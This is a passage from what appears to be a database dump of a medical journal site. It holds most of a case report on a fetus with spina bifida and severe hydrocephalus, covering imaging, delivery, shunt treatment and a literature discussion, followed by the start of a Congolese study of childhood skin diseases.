with signs and symptoms of intracranial hypertension. The classic understanding of hydrocephalus as the result of obstruction to bulk flow of CSF is evolving to models that incorporate dysfunctional cerebral pulsations, brain compliance, and newly characterized water-transport mechanisms. Congenital hydrocephalus, most commonly involving aqueduct stenosis, has been linked to genes that regulate brain growth and development [2]. The incidence of a congenital hydrocephalus is 2-3 of 5000 pregnancies [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Deficiency of a folic acid leads to higher risk of NTD. Studies shown that folic acid supplementation before getting pregnant reduces incidence of NTD by 71-90% and during the pregnancy period by 70% [4]. Folic acid supplementation is highly recommended to be 0.4 mg/day until 12th week of pregnancy for low risk women and for high risk pregnancies (diabetes mellitus, obesity, family history with NTD&rsquo;s, epilepsy etc.) to be 1-5 mg/day [5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Case Report</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A 28-year-old pregnant woman (gravida 2, para 2) was referred to perinatology center for examination at 33 weeks and 6 day of gestation.</span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Ultrasonography (USG) examination revealed fetal hydrocephalus, spina bifida with MMC 3,1cm at lumbo-sacral region, polyhydramnios (Figure 1). Fetus biometry - BPD: 11 cm; FO: 15.0 cm; HC: 42.6 cm; AC: 29.0 cm; FL: 6.4 cm; Hum: 5.2 cm. Estimated weight: 2831 g &plusmn; 413; AFI: 25.1; Both cerebral hemisphere parenchyma thickness 13 mm. Placental attachment - dorsally. HR 122 b/min; umbilical artery S/D ratio: 2.4; RI: 0.59. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Obstetric and family history was uneventful. Diagnostic amniocentesis revealed a 46, XX karyotype.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Magnetic resonance imaging (MRI) confirmed the pathological findings made by USG (Figure 2): </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&bull;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Intracranial cavity filled with liquid, from all cerebral structures only cerebral hemispheres/F lobes parenchymal layer ventrally about 13 mm thick is seen, which caudal part goes to mesencephalon and brainstem (IV ventricular up to 7 mm width). Falxcerebri could be identified. Cranial AP diameter sagittal up to 161 mm, transversally ~120 mm.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&bull;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chiari 2 malformation should be distinguished, because lower brainstem and cerebellar tissue extend caudally through the foramen magnum into the cervical spinal canal.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&bull;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Signs of spina bifida are seen in the distal lumbal part (~23 mm length) around ~12 mm width meningocelle signs.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&bull;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lumbo-sacral cyphosilic angle ~70&deg;.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Due to a big head circumference and breech presentation, neonate was delivered at the 38th week of gestation by the caesarean section. Female newborn weight- 4300 g, 50 cm height. Head circumference was 53 cm. Apgar scores is 7/8 out of 10, umbilical artery pH - 7.32.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After the birth neurosurgeon&rsquo;s consultation was provided: decompensated hydrocephalus, brain parenchymal thickness approximately 13 mm. Myelomeningocele in lumbosacral part was covered with thin layer membrane, 6 cm x 4.5 cm size without liquorea. Neurological evaluation revealed a full spinal cord violation with the lower-extremities paraplegia and a pelvic organs dysfunction.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Heart and kidneys were without pathological changes. The external ventricular drain was inserted on the second day of life. After two weeks the external ventricular drain was replaced with ventriculoperitoneal shunt. The patient was sent home one month after replacement of ventriculoperitoneal shunt with the monthly neurosurgeons and neonatologist follow up.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In infants, hydrocephalus without an obvious extrinsic cause is usually referred to as congenital hydrocephalus, since it is often present at birth. When hydrocephalus occurs as a complication of another condition such as hemorrhage, infection or neoplasm, it is usually called acquired or secondary hydrocephalus. However, forces such as hemorrhage and infection can act prenatally and also cause &ldquo;congenital&rdquo; hydrocephalus [6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">There are a couple of most common causes speaking about congenital hydrocephalus. One of them is neural tube defects.The majority of patients with myelomeningocele have hydrocephalus. In this setting, hydrocephalus is caused by the Chiari II malformation which obstructs outflow of CSF from the fourth ventricle and/or flow through the posterior fossa. In addition, there is often associated aqueductal stenosis. Hydrocephalus associated with myelomeningocele tends to have both an obstructive component and a communicating component [7].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Isolated hydrocephalus is frequently caused by aqueductal stenosis. This can be due to congenital narrowing of the aqueduct or can result from inflammation due to intrauterine infection [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Central nervous system malformations are frequently associated with hydrocephalus. One of them Chiari malformation, which often accompanies a neural tube defect, portions of the brainstem and cerebellum are displaced caudally into the cervical spinal canal and lower brainstem is longer than normal, kinked and microscopically dysplastic. This obstructs the flow of CSF in the posterior fossa, leading to hydrocephalus. The Chiari II malformation seen in spina bifida is acquired and is accompanied by other features on MRI, such as agenesis of corpus callosum, low lying torcularherophili, tectal breaking, medullary kinking, and heterotopias [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The Dandy-Walker malformation consists of a large posterior fossa cyst that is continuous with the fourth ventricle and defective development of the cerebellum, including partial or complete absence of the vermis. Hydrocephalus develops in 70 to 90 percent of patients with Dandy-Walker malformation [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hydrocephalus also could be, because of a structural anomaly of the brain - holoprosencephaly. Which often includes aqueductal stenosis or atresia and causes hydrocephalus, that can occur and may result in macrocephaly [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A vein of Galen malformation is a rare cause of hydrocephalus. The hydrocephalus in these patients is primarily caused by arterial pressure in the venous system rather than by compression of the aqueduct [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">There are several genetic disorders that cause hydrocephalus. For example - L1CAM gene mutation, which is mapped to Xq28 [6]. X-linked hydrocephalus associated with stenosis of the aqueduct of Sylvius (HSAS) is the most common heritable form of hydrocephalus, thought to account for up to 10% of males with isolated idiopathic hydrocephalus. Mutations in L1CAM are the main genetic cause of HSAS, which occurs within a broader spectrum of disease that also includes isolated agenesis of the corpus callosum as well as X-linked spastic paraplegia. The L1CAM gene product is a neural recognition molecule that plays key roles in neuronal migration and axon guidance. When mutated, it gives rises to several structural malformations that obstruct CSF flow, most commonly at the level of the aqueduct [6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Other common genetic cause is Fried syndrome, was once thought to be an example of L1 syndrome before it was recognized as a separate X-linked disorder [6]. Now known to be caused by mutations in the AP1S2 gene, Fried syndrome is characterized primarily by intellectual disability with prominent basal ganglia iron deposition or calcifications on CT scan (which may not be obvious on MRI), and variable hydrocephalus. Mutations in the same gene have now been recognized as the cause of other overlapping X-linked intellectual disability syndromes that are often accompanied by hydrocephalus. The severity and radiographic appearance of the hydrocephalus associated with mutations in AP1S2 has not been well characterized, but has been described as aqueductal stenosis [6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Another syndromic forms associated with hydrocephalus can include trisomies 13, 18, 9, and 9p, as well as triploidy[10]. Rare autosomal recessive disorders include type 2 lissencephaly syndrome, which is also characterized by ocular anomalies, and hydrolethalus syndrome, which is associated with micrognathia, postaxial polydactyly of the hands, and preaxial polydactyly of the feet [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Therefor intrauterine infections such as rubella, cytomegalovirus, toxoplasmosis, lymphocytic choriomeningitis, syphilis, and Zika virus can result in congenital hydrocephalus. The mechanism is inflammation of the ependymal lining of the ventricular system and the meninges in the subarachnoid space [10]. This may lead to impaired absorption of CSF and/or to obstruction of CSF flow through the aqueduct or basal cisterns [7].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nowadays there are lots of ways to treat MMC. The Management of Myelomeningocele Study (MOMS) trial showed a significant reduction of ventriculoperitoneal shunt placement at one year of age following fetal surgery (prenatal group: 40%; postnatal group: 82%) [1]. MMC is associated with severe disabilities throughout life. Therefore, nowadays MMC repair operations in-utero are provided and results are very promising. The aim of the in-utero operation is to avoid secondary neural tissue damage by amniotic fluid. Infants in the prenatal-surgery group were more likely to have a level of function that was two or more levels better than expected according to the anatomical level (32% vs. 12%) and less likely to have a level of function that was two or more levels worse than the expected level (13% vs. 28%) than were infants in the postnatal-surgery group. Although the ability to walk is dependent on lesion level, children in the prenatal-surgery group were more likely than those in the postnatal-surgery group to be able to walk without orthotics or devices (42% vs. 21%). The prenatal-surgery group had better motor function than the postnatal-surgery group, even though those in the prenatal-surgery group had more severe anatomical levels of lesions. But there were no significant differences between-groups in cognitive scores [11]. Hindbrain herniation was also significantly reversed in the fetal surgery group.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nevertheless, fetal surgery was associated with significant risks related to premature birth. Moreover, about 25% of mothers in the fetal surgery group demonstrated evidence of thinning of the uterine wound at the time 10% of cesarean delivery, and showed partial (9%) or complete (1%) tissue edge separation at the hysterectomy site, although none had a hysterectomy rupture [1]. Pregnancy complications were more common among women in the prenatal-surgery group. Maternal morbidity and pregnancy complications that were related to prenatal surgery included oligohydramnios, chorioamniotic separation, placental abruption, and spontaneous membrane rupture [11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">One of the procedures of liquor drainage to avoid hydrocephalus is choroid plexus coagulation. It effectively treats severe hydrocephalus and hydranencephaly in approximately 40% of cases and should be considered as an alternative to placement of a VP shunt for infants with these conditions [12].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Another procedure that reduces CSF is ventriculoperitoneal shunt operation. A retrospective cohort study, based on established protocol for VP shunt implant in hydrocephalic children with MMC showed that parameters used to guide the indication of VP shunts included measurement of head circumference (HC), evaluation of fontanels, and measurement of lateral ventricular atrium (LVA) width by transcranial USG. In conclusion, VP shunt is required in children with increased HC (&ge; 2 standard deviation regarding age group), bulging fontanels, or LVA width of &ge; 15 mm after the closure of MMC [13]. Nevertheless, ventriculoperitoneal shunting have many complications. Abdominal complications include intestinal obstruction, volvulus, peritonitis, peritoneal cyst, CSF ascites, as well as migration of the distal catheter via the intestinal tract, umbilicus, scrotum, and vagina [14].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Despite advances in prenatal operative repair, MMC still produces devastating neurologic deficits. The amniotic membranes (AM) are a biologically active tissue that has been used for human fetal MMC repair. This study evaluated the use of autologous AM compared to skin closure in an established fetal MMC model. These results suggest a potential role for AM in fetal MMC repair that warrants further study [15].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diagnosis of hydrocephalus, can be determined in utero by USG as early as 12 weeks of gestation or later with MRI. Postnatally USG is helpful, brain MRI remains the best diagnostic test [16].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">One of the laboratory methods to suspect NTD is maternal serum alpha-fetoprotein (AFP) testing in a triple screen or quadruple screen test. Elevated levels ofAFP suggests the open neural tube defects like spina bifida. That&#39;s typically a result of 2.5 times the average of AFP you&#39;d expect to see at that point in your pregnancy. Therefore, triple screen or quadruple screen test and especially AFP testing and USG are very important in the prenatal diagnostics of NTD&rsquo;s, genetic disorders or abdominal wall defects [17].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">We have reported a unique case of a newborn with severe hydrocephalus and myelomeningocele. Multidisciplinary medical team (obstetricians, perinatologists, neonatologists, neurologist and neurosurgeon) were working in close relations.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In this case report we would like to highlight these medical care steps:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Earlier as much as possible diagnostics of neural tube defects in order to provide the best child delivery strategy.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Multidisciplinary post-delivery care of newborn (follow-up of vital functions and adequate neurosurgical care should be provided).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Further care of living child is essential.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/nrdp.2015.7\">Copp AJ, Adzick NS, Chitty LS, Fletcher JM, Holmbeck GN (2015) Spina Bifida. Nat Rev Dis Primer 1:15007.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/s0140-6736(15)60694-8\">Kahle KT, Kulkarni AV, Limbrick DD, Warf BC (2016) Hydrocephalus in children. The Lancet 387:788-799.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/B9780128023952000055?via%3Dihub\">Ville Leinonen, RitvaVanninen, TuomasRauramaa (2018) Cerebrospinal fluid circulation and hydrocephalus. Handbook of clinical neurology 145: 39-50.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3390/nu5114760\">Czeizel AE, Dud&aacute;s I, Vereczkey A, B&aacute;nhidy F. Folate (2013) Deficiency and Folic Acid Supplementation: The Prevention of Neural-Tube Defects and Congenital Heart Defects. Nutrients 5: 4760-4775.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://sam.lrv.lt/uploads/sam/documents/files/Veiklos_sritys/Programos_ir_projektai/Sveicarijos_parama/Akuserines%20metodikos/Antenataline%20prieziura.pdf\">&ldquo;Antenatalineprieziura&rdquo; sam.lrv.lt</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ejmg.2014.06.002\">Tully HM, Dobyns WB (2014) Infantile hydrocephalus: a review of epidemiology, classification and causes. Eur J Med Genet 57: 359-368.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://link.springer.com/article/10.1007%2Fs00381-006-0193-5\">Beni-Adani L, Biani N, Ben-Sirah L, Constantini S (2006) The occurrence of obstructive vs absorptive hydrocephalus in newborns and infants: relevance to treatment choices. Child&#39;s Nervous System 22: 1543-1563.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Hydrocephalus in children: Physiology, pathogenesis, and etiology &ldquo;UpToDate. Available at: https://www-uptodate-com.ezproxy.dbazes.lsmuni.lt/contents/hydrocephalus-in-children-physiology-pathogenesis-and-etiology?sectionName=Obstruction&amp;topicRef=110031&amp;anchor=H8&amp;source=see_link#H2556103.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK1530/\">Solomon BD, Gropman A, Muenke M (1993)Holoprosencephaly Overview. In: Adam MP, Ardinger HH, Pagon RA, Wallace SE, Bean LJ, Stephens K, et al., editors. GeneReviews<sup>&reg;</sup> [Internet]. Seattle (WA): University of Washington, Seattle; 1993 [cited 2019 Jan 30].</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s004310050830\">Schrander-Stumpel C, Fryns JP (1998) Congenital hydrocephalus: nosology and guidelines for clinical approach and genetic counselling. Eur J Pediatr 157:355-362.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1056/nejmoa1014379\">Adzick NS, Thom EA, Spong CY, Brock JW, Burrows PK, et al. (2011) A Randomized Trial of Prenatal versus Postnatal Repair of Myelomeningocele. N Engl J Med 364: 993-1004.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3171/2014.3.peds13488\">Shitsama S, Wittayanakorn N, Okechi H, Albright AL (2014) Choroid plexus coagulation in infants with extreme hydrocephalus or hydranencephaly. J NeurosurgPediatr 14: 55-57.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1590/0004-282x20150110\">Melo JRT, Pacheco P, Melo EN de, Vasconcellos &Acirc;, Passos RK, et al. (2015) Clinical and ultrasonographic criteria for using ventriculoperitoneal shunts in newborns with myelomeningocele. ArqNeuropsiquiatr 73: 759-763.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00381-013-2084-x\">Aras M, Alta? M, Serarslan Y, Ak&ccedil;ora B, Y?lmaz A (2013) Protrusion of a peritoneal catheter via abdominal wall and operated myelomeningocele area: a rare complication of ventriculoperitoneal shunt. Childs NervSystChNS Off J IntSocPediatrNeurosurg 29: 1199-1202.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.jpedsurg.2013.09.043\">Brown EG, Saadai P, Pivetti CD, Beattie MS, Bresnahan JC, et al. (2014) In utero repair of myelomeningocele with autologous amniotic membrane in the fetal lamb model. J PediatrSurg 49: 133-138.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Hydrocephalus in children: Clinical features and diagnosis &ldquo;UpToDate. Available at: https://www-uptodate-com.ezproxy.dbazes.lsmuni.lt/contents/hydrocephalus-in-children-clinical-features-and-diagnosis?topicRef=6174&amp;source=see_link.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.mayoclinic.org/tests-procedures/quad-screen/about/pac-20394911\">Quad Screen &ldquo;Mayoclinic&rdquo;.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1555af0fc.jpg\" style=\"height:440px; width:522px\" /></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> USG images at 33 weeks + 6 days of gestation showing the fetal hydrocephalus. Biparietal diameter &ndash; 11.4 cm, occipitofrontal diameter - 15.0 cm, head circumference &ndash; 42.6 cm. (a). Red arrows indicate spina bifida defect at lumbo-sacral region (b and c).</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/15646e29d.png\" style=\"height:257px; width:456px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> Fetal T2 weighted MRI sequence in sagittal plane at 36 week + 6 days of gestation. Intracranial cavity filled with liquid. (a) Small red arrows indicate falxcerebri and longer arrow indicates abnormallumbo-sacral cyphosilic angle. (b)Follow-up USG scans every 2 weeks were performed.</span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong>Sakys M, Wojczulis D, Macys Z, Arlauskiene A, Ramasauskaite D, et al. (2019) The Case of Fetus Neural Tube Defect: Spina Bifida with Severe Hydrocephalus. Ann Pediatr Child Care: APCC-100002.</span></span></p>\r\n','','1551151479.pdf',NULL,'1551151479.jpg','',0,1,'2019-02-26 08:54:39',NULL,1),(39,24,'20','2019','Profile of the Etiological Groups of Child Dermatosis at the University Clinics of Kinshasa - Democratic Republic of the Congo','Seudjip NLJ1*, Traore A2, Mazebo PS1 and Bunga MP3','Research Article','Profile-of-the-Etiological-Groups-of-Child-Dermatosis-at-the-University-Clinics-of-Kinshasa-Democratic-Republic-of-the-Congo','Profile-of-the-Etiological-Groups-of-Child-Dermatosis-at-the-University-Clinics-of-Kinshasa Democratic Republic of the Congo','Profile of the Etiological Groups-of-Child-Dermatosis-at-the-University-Clinics-of-Kinshasa-Democratic-Republic-of-the-Congo','Profile-of-the-Etiological-Groups-of-Child-Dermatosis-at-the-University-Clinics-of-Kinshasa-Democratic-Republic-of-the-Congo','<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Updates in Dermatological Problems </strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Profile of the Etiological Groups of Child Dermatosis at the University Clinics of Kinshasa - Democratic Republic of the Congo</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Seudjip NLJ<sup>1*</sup>, Traor&eacute; A<sup>2</sup>, Mazebo PS<sup>1</sup> and Bunga MP<sup>3</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Dermatology Service, University Clinics of Kinshasa, Democratic Republic of Congo<br />\r\n<sup>2</sup>Dermatology Service, Yalgado Ouedraogo University Hospital Center, University of Ouagadougou, Burkina Faso<br />\r\n<sup>3</sup>Department of Pediatrics, University Clinics of Kinshasa, Democratic Republic of Congo</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author: </strong>Seudjip Nono Lydie Joelle, Department of Dermatology, University Clinics of Kinshasa, Avenue de l&#39;Universit&eacute;, Kinshasa, Democratic Republic of the Congo. Tel: +243991845776; Email: <a href=\"mailto:seupiziemi@gmail.com\">seupiziemi@gmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Seudjip NLJ, Traore A, Mazebo PS, Bunga MP. Profile of the Etiological Groups of Child Dermatosis at the University Clinics of &nbsp;Kinshasa - Democratic Republic of the Congo. Curr Updates Dermatol Probl. 2019; Volume 2019, Issue 01, p 1-11.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>31 January, 2019; <strong>Accepted Date: </strong>14 February, 2019; <strong>Published Date: </strong>27 February, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Summary</strong><br />\r\n<strong>1.1. Context and objectives</strong>: Child dermatosis is a frequent reason for consultation in sub-Saharan Africa and in the Democratic Republic of the Congo in particular. The objective of this study is to determine the profile of dermatosis in children according to the etiological approach in the Dermatology Department of the University Clinics of Kinshasa.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.2. Methods</strong>: In an analytical and descriptive retrospective study, the data of children with dermatitis, followed in the dermatology department of the University Clinics of Kinshasa were collected between June 1, 2009 and December 31, 2011. The variables studied were epidemiological and clinical (diagnose).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.3. Results</strong>: The incidence of child dermatosis in the department of dermatology of the University Clinics of Kinshasa was 40.89% (818/1994). Their median age was 60 months (EIQ 60-65.9) with a female predominance (55.7%, sex ratio of 1.25/1). The 0-2-year age group was predominant (30.6%). Dermatosis in children predominated in the dry season (54%); the most frequent were infectious (40.0%, p = 0.023) and immuno-allergic (33.4%, p = 0.043), with impetigo (18.7%) and atopic dermatitis (33.3 %) respectively as the main diagnosis.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.4. Conclusion</strong>: There is a high prevalence of child dermatosis in Republic Democratic of Congo predominantly the infectious and the immuno-allergic dermatosis. A clean environment and a healthy lifestyle are the key to control their occurrence.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords</strong>: Child; Dermatosis; Epidemiology; University Clinics of Kinshasa</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong><br />\r\nPediatric dermatology is a relatively recent sub-specialty and requires studies (research) in the sub-Saharan region in general and in the Democratic Republic of Congo in particular. There is dermatosis specific to the pediatric population, and some clinical portraits, although found in adults, have some peculiarities. Like many diseases, children&#39;s dermatosis should be considered as a real public health problem in developing countries. They constitute nearly 30% of general consultations in dermatology [1-3]. However, they are still epidemiologically and clinically poorly explored in the Democratic Republic of Congo (DRC) [4]. Dermatosis are generally diagnosed following the Wilanist approach, which is based on the type of elementary lesion [5] (an adequate process for a learner in dermatology) and/or on its etiology.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The latter method is easy and regular for the well-trained dermatologist. Each of these methods has its advantages and limitations [5]. Pediatric dermatosis constitutes a set of pathologies of the skin and appendages, affecting the child; their etiologies are diverse and include immuno-allergic, metabolic, infectious, and genetic.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The epidemiology of pediatric dermatosis involves various aspects regarding the frequencies related to the variables of interest, which include age, gender, season, socio-economic level, etc. Its context may vary from one continent, one country or even one city to another, depending on the lesional and etiological approaches.<br />\r\nBased on our previous article on the diagnostic lesional approach of childhood dermatosis [4], using the same database for the same study site, we thought it wise and complementary to work on the same topic following the diagnostic etiological approach.Authors present diverse frequencies of child dermatosis; 30% in tropical Africa [6], of which 23 - 33% in West Africa [7-9] and 40% in Africa [10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Aim and Objectives of the Work</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Our goal main objective, is to determine the incidence of the dermatosis of the child in the tertiary hospital environment, taking into account the etiological diagnostic approach and some epidemiological data. This is to enable a better follow up by the generalist and specialist, without therapeutic errors often leading to disastrous complications in the long run.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.1. Study and Framework</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Our study was conducted in the Dermatology Department of Kinshasa University Clinics (CUK), a tertiary-level facility located in the District of Mount Amba/Lemba in the Democratic Republic of Congo.<br />\r\n<strong>5.2. Type and Duration of the Study</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This was an analytical and descriptive study, based on the records of children from 0 to 18 years old, admitted and examined I the 